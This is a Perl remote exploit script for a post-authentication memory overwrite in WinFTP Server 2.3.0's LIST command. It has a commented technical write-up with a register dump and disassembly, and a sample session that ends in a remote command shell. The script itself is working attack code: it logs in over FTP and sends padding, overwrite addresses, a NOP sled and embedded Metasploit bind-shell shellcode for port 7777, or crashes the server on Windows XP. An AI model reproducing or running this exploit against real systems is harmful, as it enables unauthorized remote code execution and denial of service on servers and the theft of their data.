#!/usr/bin/perl # # WinFTP 2.3.0 post-auth remote exploit. (www.wftpserver.com) # ################################################################################ # # # root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl # # # # Usage: winftp-remote.pl # # # # Target: 1 -> Win2k # # Target: 2 -> WinXP sp2/3 (DoS only) # # # # root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl 10.0.0.5 user1 pass1 1 # # # # [=] Connected. # # [=] Sending user user1 # # [=] Sending pass pass1 # # [=] Sending payload... # # [=] Done. You should have a command shell on port 7777. # # # # root@halcyon:~/Exploits/WinFTP# nc 10.0.0.5 7777 # # Microsoft Windows 2000 [Version 5.00.2195] # # (C) Copyright 1985-1999 Microsoft Corp. # # # # C:\Program Files\WinFTP Server> # # # ################################################################################ # # Quick description of the exploit: # # There is a post-auth bug in WFTPSRV.exe (2.3.0), in the handling of the LIST # command. This appears to be different from the previous vuln found in # the handling of the NLIST command. Providing the server with # "LIST *" results in an arbitrary memory overwrite # vulnerability. Note that simply giving LIST a long string won't trigger # the vuln. At least in my testing, the asterisk was necessary to force # WFTPSRV.exe to process the long string, which clobbers various stored # addresses, providing an opportunity for an arbitrary DWORD overwrite. # So exploitation goes like this: # # format string vuln -> overflow -> arbitrary memory overwrite -> EIP control # # On Win2k, the error is: # "The instruction at 0x77fc9906 referenced memory at # 0x88776655. The memory could not be "written". # # Which is what we want to see in order to control an arbitrary DWORD. # At this point our registers look like: # # EAX 010922E0 # ECX 0275FC14 # EDX 88776655 # EBX 00000028 # ESP 0275F688 # EBP 0275F81C # ESI 00F90000 # EDI 00F90378 # EIP 77FC9906 ntdll.77FC9906 # # Instructions look like: # # 77FC98F4 8B48 08 MOV ECX,DWORD PTR DS:[EAX+8] # 77FC98F7 898D 38FFFFFF MOV DWORD PTR SS:[EBP-C8],ECX # 77FC98FD 8B50 0C MOV EDX,DWORD PTR DS:[EAX+C] # 77FC9900 8995 34FFFFFF MOV DWORD PTR SS:[EBP-CC],EDX # 77FC9906 890A MOV DWORD PTR DS:[EDX],ECX # 77FC9908 8951 04 MOV DWORD PTR DS:[ECX+4],EDX # # Under normal conditions EDX and ECX contain pointers located # in the data segment. However, after exploitation we control # EDX (where to write), and ECX (what to write). From here, # we load EDX with (almost) any old return address on our stack, # and ECX with a pointer to our shellcode. # # Note: This is *not* a predictable vuln. I noticed even changing # the filename of the binary causes the offsets to change. # Please experiment on your own. Let me know if you manage to # get it working under WinXP SP2. # joewalko@gmail.com use IO::Socket; if (@ARGV < 2) { print "\nUsage: $0 \n\n"; print "Target: 1 -> Win2k\n"; print "Target: 2 -> WinXP sp2/3 (DoS only)\n\n"; exit; }; $host = $ARGV[0]; $username = $ARGV[1]; $password = $ARGV[2]; $port = 21; $list = "\x4c\x49\x53\x54\x20\x2a"; $padding = "\x41" x 272; $sock = new IO::Socket::INET ( PeerAddr=> "$host", PeerPort=> "$port", Proto => 'tcp' ); die "Connection failed: $!\n\n" unless $sock; $user_string = "user $username\r\n"; $pass_string = "pass $password\r\n"; $port_string = "PORT 10,0,0,1,154,119\r\n"; # Source host doesn't matter. $address2k = "\x74\xf8\x74\x02". # <- This needs to contain any # readable address, or we # immediately cause an exception. "\x14\xfc\x75\x02". # <- This will become EIP. It points # to our shellcode. "\x74\xf8\x75\x02"; # <- This specifies what DWORD to overwrite. # YMMV here. I picked an arbitrary # return address on the stack located # near where ESP was during # the exception. On my system this # is: # # 0275F874 73D34154 RETURN to MFC42.73D34154 $nopsled = "\x90" x 2228; # Metasploit win32_bind, EXITFUNC=process LPORT=7777 $shellcode = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x10". "\x92\xe9\xd3\x83\xeb\xfc\xe2\xf4\xec\xf8\x02\x9e\xf8\x6b\x16\x2c". "\xef\xf2\x62\xbf\x34\xb6\x62\x96\x2c\x19\x95\xd6\x68\x93\x06\x58". "\x5f\x8a\x62\x8c\x30\x93\x02\x9a\x9b\xa6\x62\xd2\xfe\xa3\x29\x4a". "\xbc\x16\x29\xa7\x17\x53\x23\xde\x11\x50\x02\x27\x2b\xc6\xcd\xfb". "\x65\x77\x62\x8c\x34\x93\x02\xb5\x9b\x9e\xa2\x58\x4f\x8e\xe8\x38". "\x13\xbe\x62\x5a\x7c\xb6\xf5\xb2\xd3\xa3\x32\xb7\x9b\xd1\xd9\x58". "\x50\x9e\x62\xa3\x0c\x3f\x62\x93\x18\xcc\x81\x5d\x5e\x9c\x05\x83". "\xef\x44\x8f\x80\x76\xfa\xda\xe1\x78\xe5\x9a\xe1\x4f\xc6\x16\x03". "\x78\x59\x04\x2f\x2b\xc2\x16\x05\x4f\x1b\x0c\xb5\x91\x7f\xe1\xd1". "\x45\xf8\xeb\x2c\xc0\xfa\x30\xda\xe5\x3f\xbe\x2c\xc6\xc1\xba\x80". "\x43\xc1\xaa\x80\x53\xc1\x16\x03\x76\xfa\xf7\xb2\x76\xc1\x60\x32". "\x85\xfa\x4d\xc9\x60\x55\xbe\x2c\xc6\xf8\xf9\x82\x45\x6d\x39\xbb". "\xb4\x3f\xc7\x3a\x47\x6d\x3f\x80\x45\x6d\x39\xbb\xf5\xdb\x6f\x9a". "\x47\x6d\x3f\x83\x44\xc6\xbc\x2c\xc0\x01\x81\x34\x69\x54\x90\x84". "\xef\x44\xbc\x2c\xc0\xf4\x83\xb7\x76\xfa\x8a\xbe\x99\x77\x83\x83". "\x49\xbb\x25\x5a\xf7\xf8\xad\x5a\xf2\xa3\x29\x20\xba\x6c\xab\xfe". "\xee\xd0\xc5\x40\x9d\xe8\xd1\x78\xbb\x39\x81\xa1\xee\x21\xff\x2c". "\x65\xd6\x16\x05\x4b\xc5\xbb\x82\x41\xc3\x83\xd2\x41\xc3\xbc\x82". "\xef\x42\x81\x7e\xc9\x97\x27\x80\xef\x44\x83\x2c\xef\xa5\x16\x03". "\x9b\xc5\x15\x50\xd4\xf6\x16\x05\x42\x6d\x39\xbb\xe0\x18\xed\x8c". "\x43\x6d\x3f\x2c\xc0\x92\xe9\xd3\x0d\x0a"; if ($ARGV[3] == '1') { $payload = $list.$padding.$address2k.$nopsled.$shellcode; } elsif ($ARGV[3] == '2') { $payload = $list.$padding.$address2k.$nopsled.$shellcode; } else { $payload = $list.$padding.$address2k.$nopsled.$shellcode; } print "\n[=] Connected.\n"; sleep 1; print "[=] Sending $user_string"; $sock->send($user_string); sleep 1; print "[=] Sending $pass_string"; $sock->send($pass_string); sleep 1; $sock->send($port_string); sleep 1; print "[=] Sending payload...\n"; $sock->send($payload); sleep 1; if ($ARGV[3] == '1') { print "[=] Done. You should have a command shell on port 7777.\n\n"; } elsif ($ARGV[3] == '2') { print "[=] Done. WinFTP should be crashed on the remote host.\n\n"; } else { print "[=] Done.\n\n"; }